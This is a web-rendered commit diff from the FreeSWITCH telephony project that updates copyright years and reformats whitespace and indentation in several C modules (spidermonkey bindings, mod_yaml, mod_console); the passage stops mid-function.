<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_odbc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -86,7 +86,7 @@
</span><span class="cx">         return switch_odbc_handle_connect(obj->handle);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void destroy_odbc_obj(odbc_obj_t **objp)
</del><ins>+static void destroy_odbc_obj(odbc_obj_t ** objp)
</ins><span class="cx"> {
</span><span class="cx">         odbc_obj_t *obj = *objp;
</span><span class="cx">         if (obj == NULL)
</span><span class="lines">@@ -271,7 +271,7 @@
</span><span class="cx"> {
</span><span class="cx">         odbc_obj_t *odbc_obj = (odbc_obj_t *) JS_GetPrivate(cx, obj);
</span><span class="cx">         SQLLEN row_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!odbc_obj || switch_odbc_handle_get_state(odbc_obj->handle) != SWITCH_ODBC_STATE_CONNECTED) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Database is not connected!\n");
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -401,7 +401,7 @@
</span><span class="cx">                         return JS_TRUE;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if ( SQLNumResultCols( odbc_obj->stmt, &nColumns ) != SQL_SUCCESS )
</del><ins>+                if (SQLNumResultCols(odbc_obj->stmt, &nColumns) != SQL_SUCCESS)
</ins><span class="cx">                         return JS_FALSE;
</span><span class="cx">
</span><span class="cx">                 for (x = 1; x <= nColumns; x++) {
</span><span class="lines">@@ -431,8 +431,8 @@
</span><span class="cx">
</span><span class="cx">                 JS_GetProperty(cx, obj, "_oDbC_dB_RoW_DaTa_", rval);
</span><span class="cx">                 return JS_TRUE;
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx"> done:
</span><span class="lines">@@ -466,7 +466,7 @@
</span><span class="cx">
</span><span class="cx">         switch_odbc_handle_disconnect(odbc_obj->handle);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         return JS_TRUE;
</span><span class="cx"> }
</span><span class="lines">@@ -543,7 +543,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &odbc_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_skelc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_skel.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -93,7 +93,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &skel_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_socketc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_socket.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -324,7 +324,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &socket_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_teletonec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_teletone.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -80,7 +80,7 @@
</span><span class="cx">         struct js_session *jss = NULL;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         char *timer_name = NULL;
</span><del>- switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -109,15 +109,14 @@
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(jss->session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(jss->session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if (switch_core_codec_init(&tto->codec,
</span><span class="cx">                                                          "L16",
</span><span class="cx">                                                          NULL,
</span><span class="cx">                                                          read_impl.actual_samples_per_second,
</span><span class="cx">                                                          read_impl.microseconds_per_packet / 1000,
</span><del>-                                                         read_impl.number_of_channels,
-                                                         SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         read_impl.number_of_channels, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activated\n");
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activation Failed\n");
</span><span class="lines">@@ -127,10 +126,7 @@
</span><span class="cx">         if (timer_name) {
</span><span class="cx">                 unsigned int ms = read_impl.microseconds_per_packet / 1000;
</span><span class="cx">                 if (switch_core_timer_init(&tto->timer_base,
</span><del>-                                                                 timer_name,
-                                                                 ms,
-                                                                 (read_impl.samples_per_second / 50) *
-                                                                 read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                 timer_name, ms, (read_impl.samples_per_second / 50) * read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         tto->timer = &tto->timer_base;
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Timer INIT Success %u\n", ms);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -347,7 +343,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &teletone_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_yamlmod_yamlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -37,65 +37,56 @@
</span><span class="cx">
</span><span class="cx"> static void print_error(yaml_parser_t *parser)
</span><span class="cx"> {
</span><del>- switch (parser->error)
-                {
-                case YAML_MEMORY_ERROR:
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory error: Not enough memory for parsing\n");
- break;
</del><ins>+        switch (parser->error) {
+        case YAML_MEMORY_ERROR:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory error: Not enough memory for parsing\n");
+                break;
</ins><span class="cx">
</span><del>- case YAML_READER_ERROR:
- if (parser->problem_value != -1) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s: #%X at %d\n", parser->problem,
-                                                                 parser->problem_value, (int) parser->problem_offset);
- }
- else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s at %d\n", parser->problem,
-                                                                 (int) parser->problem_offset);
- }
- break;
</del><ins>+        case YAML_READER_ERROR:
+                if (parser->problem_value != -1) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s: #%X at %d\n", parser->problem,
+                                                         parser->problem_value, (int) parser->problem_offset);
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reader error: %s at %d\n", parser->problem, (int) parser->problem_offset);
+                }
+                break;
</ins><span class="cx">
</span><del>- case YAML_SCANNER_ERROR:
- if (parser->context) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n"
-                                                                 "%s at line %d, column %d\n", parser->context,
-                                                                 (int)parser->context_mark.line+1, (int)parser->context_mark.column+1,
-                                                                 parser->problem, (int)parser->problem_mark.line+1,
-                                                                 (int)parser->problem_mark.column+1);
- }
- else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n",
-                                                                 parser->problem, (int)parser->problem_mark.line+1,
-                                                                 (int)parser->problem_mark.column+1);
- }
- break;
</del><ins>+        case YAML_SCANNER_ERROR:
+                if (parser->context) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n"
+                                                         "%s at line %d, column %d\n", parser->context,
+                                                         (int) parser->context_mark.line + 1, (int) parser->context_mark.column + 1,
+                                                         parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Scanner error: %s at line %d, column %d\n",
+                                                         parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
+                }
+                break;
</ins><span class="cx">
</span><del>- case YAML_PARSER_ERROR:
- if (parser->context) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n"
-                                                                 "%s at line %d, column %d\n", parser->context,
-                                                                 (int)parser->context_mark.line+1, (int)parser->context_mark.column+1,
-                                                                 parser->problem, (int)parser->problem_mark.line+1,
-                                                                 (int)parser->problem_mark.column+1);
- }
- else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n",
-                                                                 parser->problem, (int)parser->problem_mark.line+1,
-                                                                 (int)parser->problem_mark.column+1);
- }
- break;
-
- default:
- /* Couldn't happen. */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error\n");
- break;
</del><ins>+        case YAML_PARSER_ERROR:
+                if (parser->context) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n"
+                                                         "%s at line %d, column %d\n", parser->context,
+                                                         (int) parser->context_mark.line + 1, (int) parser->context_mark.column + 1,
+                                                         parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parser error: %s at line %d, column %d\n",
+                                                         parser->problem, (int) parser->problem_mark.line + 1, (int) parser->problem_mark.column + 1);
</ins><span class="cx">                 }
</span><ins>+                break;
+
+        default:
+                /* Couldn't happen. */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error\n");
+                break;
+        }
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_xml_t parse_file(FILE *input, const char *file_name)
</del><ins>+static switch_xml_t parse_file(FILE * input, const char *file_name)
</ins><span class="cx"> {
</span><span class="cx">         yaml_parser_t parser;
</span><del>-        yaml_event_t event = {0};
</del><ins>+        yaml_event_t event = { 0 };
</ins><span class="cx">         char *scalar_data;
</span><span class="cx">         int done = 0;
</span><span class="cx">         int depth = 0;
</span><span class="lines">@@ -108,7 +99,7 @@
</span><span class="cx">         yaml_parser_initialize(&parser);
</span><span class="cx">         yaml_parser_set_input_file(&parser, input);
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_new("document"))) {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="lines">@@ -119,7 +110,7 @@
</span><span class="cx">
</span><span class="cx">         top = switch_xml_add_child_d(current, "configuration", 0);
</span><span class="cx">         switch_xml_set_attr_d(top, "name", file_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (!done) {
</span><span class="cx">                 if (!yaml_parser_parse(&parser, &event)) {
</span><span class="cx">                         print_error(&parser);
</span><span class="lines">@@ -139,7 +130,7 @@
</span><span class="cx">                                 scalar_data = (char *) event.data.scalar.value;
</span><span class="cx">                                 switch (depth) {
</span><span class="cx">                                 case 1:
</span><del>-                                        if (!(current = switch_xml_add_child_d(top, scalar_data, depth-1))) {
</del><ins>+                                        if (!(current = switch_xml_add_child_d(top, scalar_data, depth - 1))) {
</ins><span class="cx">                                                 done = 1;
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_set_string(category, scalar_data);
</span><span class="lines">@@ -161,7 +152,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -169,14 +160,13 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 yaml_event_delete(&event);
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         yaml_parser_delete(&parser);
</span><span class="cx">
</span><span class="cx">         if (input) {
</span><span class="cx">                 fclose(input);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_XML
</span><span class="cx">         if (xml) {
</span><span class="cx">                 char *foo = switch_xml_toxml(xml, SWITCH_FALSE);
</span><span class="lines">@@ -186,11 +176,11 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         return xml;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_xml_t yaml_fetch(const char *section,
</span><del>-                                                         const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</del><ins>+                                                         const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</ins><span class="cx"> {
</span><span class="cx">         char *path;
</span><span class="cx">         FILE *input;
</span><span class="lines">@@ -201,17 +191,17 @@
</span><span class="cx">                 xml = parse_file(input, key_value);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cannot open %s\n", path);
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         switch_safe_free(path);
</span><span class="cx">         return xml;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_caller_extension_t *parse_dp(FILE *input, switch_core_session_t *session, switch_caller_profile_t *caller_profile)
</del><ins>+static switch_caller_extension_t *parse_dp(FILE * input, switch_core_session_t *session, switch_caller_profile_t *caller_profile)
</ins><span class="cx"> {
</span><span class="cx">         yaml_parser_t parser;
</span><del>-        yaml_event_t event = {0};
</del><ins>+        yaml_event_t event = { 0 };
</ins><span class="cx">         char *scalar_data;
</span><span class="cx">         int done = 0;
</span><span class="cx">         int depth = 0;
</span><span class="lines">@@ -221,7 +211,7 @@
</span><span class="cx">         char *last_field = NULL;
</span><span class="cx">         int nv = 0;
</span><span class="cx">         switch_caller_extension_t *extension = NULL;
</span><del>- switch_channel_t *channel = switch_core_session_get_channel(session);
</del><ins>+        switch_channel_t *channel = switch_core_session_get_channel(session);
</ins><span class="cx">         int context_hit = 0;
</span><span class="cx">         int proceed = 0;
</span><span class="cx">         switch_regex_t *re = NULL;
</span><span class="lines">@@ -244,7 +234,7 @@
</span><span class="cx">
</span><span class="cx">         yaml_parser_initialize(&parser);
</span><span class="cx">         yaml_parser_set_input_file(&parser, input);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (!done) {
</span><span class="cx">                 if (!yaml_parser_parse(&parser, &event)) {
</span><span class="cx">                         print_error(&parser);
</span><span class="lines">@@ -273,19 +263,19 @@
</span><span class="cx">                                                 char *field = switch_core_session_strdup(session, scalar_data);
</span><span class="cx">                                                 char *p, *e, *expression = NULL, *field_expanded = NULL, *expression_expanded = NULL;
</span><span class="cx">                                                 const char *field_data = NULL;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 parens = 0;
</span><span class="cx">                                                 proceed = 0;
</span><span class="cx">                                                 switch_regex_safe_free(re);
</span><span class="cx">
</span><span class="cx">                                                 if ((p = strstr(field, "=~"))) {
</span><span class="cx">                                                         *p = '\0';
</span><del>-                                                        e = p-1;
-                                                        while(*e == ' ') {
</del><ins>+                                                        e = p - 1;
+                                                        while (*e == ' ') {
</ins><span class="cx">                                                                 *e-- = '\0';
</span><span class="cx">                                                         }
</span><del>-                                                        e = p+2;
-                                                        while(*e == ' ') {
</del><ins>+                                                        e = p + 2;
+                                                        while (*e == ' ') {
</ins><span class="cx">                                                                 *e++ = '\0';
</span><span class="cx">                                                         }
</span><span class="cx">                                                         expression = e;
</span><span class="lines">@@ -313,7 +303,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_safe_free(last_field);
</span><span class="cx">                                                         last_field = strdup(field_data);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "test conditions %s(%s) =~ /%s/\n", field, field_data, expression);
</span><span class="cx">                                                         if (!(proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Regex mismatch\n");
</span><span class="lines">@@ -344,12 +334,12 @@
</span><span class="cx">                                                         char *substituted = NULL;
</span><span class="cx">                                                         char *app_data;
</span><span class="cx">
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!extension) {
</span><span class="cx">                                                                 extension = switch_caller_extension_new(session, "YAML", caller_profile->destination_number);
</span><span class="cx">                                                                 switch_assert(extension);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (parens) {
</span><span class="cx">                                                                 len = (uint32_t) (strlen(value) + strlen(last_field) + 10) * proceed;
</span><span class="cx">                                                                 switch_zmalloc(substituted, len);
</span><span class="lines">@@ -358,14 +348,14 @@
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 app_data = value;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_caller_extension_add_application(session, extension, name, app_data);
</span><span class="cx">                                                         switch_safe_free(substituted);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><del>-                                                                        }
-                                
</del><ins>+                                }
+
</ins><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -375,7 +365,7 @@
</span><span class="cx">                 yaml_event_delete(&event);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(last_field);
</span><span class="cx">         switch_regex_safe_free(re);
</span><span class="lines">@@ -384,7 +374,6 @@
</span><span class="cx">         if (input) {
</span><span class="cx">                 fclose(input);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_XML
</span><span class="cx">         if (xml) {
</span><span class="cx">                 char *foo = switch_xml_toxml(xml, SWITCH_FALSE);
</span><span class="lines">@@ -394,7 +383,7 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         return extension;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_DIALPLAN(yaml_dialplan_hunt)
</span><span class="lines">@@ -414,9 +403,9 @@
</span><span class="cx">                 extension = parse_dp(input, session, caller_profile);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", path);
</span><del>-        }
-        
-        switch_safe_free(path);        
</del><ins>+        }
+
+        switch_safe_free(path);
</ins><span class="cx">         return extension;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -424,7 +413,7 @@
</span><span class="cx"> static switch_status_t do_config(void)
</span><span class="cx"> {
</span><span class="cx">         yaml_parser_t parser;
</span><del>-        yaml_event_t event = {0};
</del><ins>+        yaml_event_t event = { 0 };
</ins><span class="cx">         char *path;
</span><span class="cx">         const char *cfg = "mod_yaml.yaml";
</span><span class="cx">         FILE *input;
</span><span class="lines">@@ -438,7 +427,7 @@
</span><span class="cx">         int nv = 0;
</span><span class="cx">
</span><span class="cx">         path = switch_mprintf("%s/yaml/%s", SWITCH_GLOBAL_dirs.conf_dir, cfg);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(input = fopen(path, "r"))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", path);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -485,7 +474,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -493,21 +482,21 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 yaml_event_delete(&event);
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         yaml_parser_delete(&parser);
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (input) {
</span><span class="cx">                 fclose(input);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(path);
</span><span class="cx">
</span><span class="cx">         return status;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_yaml_load)
</span></span></pre></div>
<a id="freeswitchtrunksrcmodloggersmod_consolemod_consolec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -43,11 +43,17 @@
</span><span class="cx"> static WORD wOldColorAttrs;
</span><span class="cx"> static CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
</span><span class="cx">
</span><del>-static WORD
</del><ins>+static WORD
</ins><span class="cx"> #else
</span><del>-static const char*
</del><ins>+static const char *
</ins><span class="cx"> #endif
</span><del>-COLORS[] = { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN, SWITCH_SEQ_FYELLOW };
</del><ins>+
+        
+        
+        
+        COLORS[] =
+        { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN,
+SWITCH_SEQ_FYELLOW };
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> static switch_memory_pool_t *module_pool = NULL;
</span><span class="lines">@@ -261,8 +267,7 @@
</span><span class="cx">                 "--------------------------------------------------------------------------------\n"
</span><span class="cx">                 "console help\n"
</span><span class="cx">                 "console loglevel [[0-7] | <loglevel_string>]\n"
</span><del>-                "console colorize [on|off|toggle]\n"
-                "--------------------------------------------------------------------------------\n";
</del><ins>+                "console colorize [on|off|toggle]\n" "--------------------------------------------------------------------------------\n";
</ins><span class="cx">         const char *loglevel_usage_string = "USAGE:\n"
</span><span class="cx">                 "--------------------------------------------------------------------------------\n"
</span><span class="cx">                 "console loglevel [[0-7] | <loglevel_string>]\n"
</span><span class="lines">@@ -274,17 +279,11 @@
</span><span class="cx">                 " 1 alert\n"
</span><span class="cx">                 " 2 crit\n"
</span><span class="cx">                 " 3 err\n"
</span><del>-                " 4 warning\n"
-                " 5 notice\n"
-                " 6 info\n"
-                " 7 debug\n"
-                "--------------------------------------------------------------------------------\n";
</del><ins>+                " 4 warning\n" " 5 notice\n" " 6 info\n" " 7 debug\n" "--------------------------------------------------------------------------------\n";
</ins><span class="cx">         const char *colorize_usage_string = "USAGE:\n"
</span><span class="cx">                 "--------------------------------------------------------------------------------\n"
</span><span class="cx">                 "console colorize [on|off|toggle]\n"
</span><del>-                "\n"
-                "Enable, disable, or toggle console coloring.\n"
-                "--------------------------------------------------------------------------------\n";
</del><ins>+                "\n" "Enable, disable, or toggle console coloring.\n" "--------------------------------------------------------------------------------\n";
</ins><span class="cx">
</span><span class="cx">         if (session)
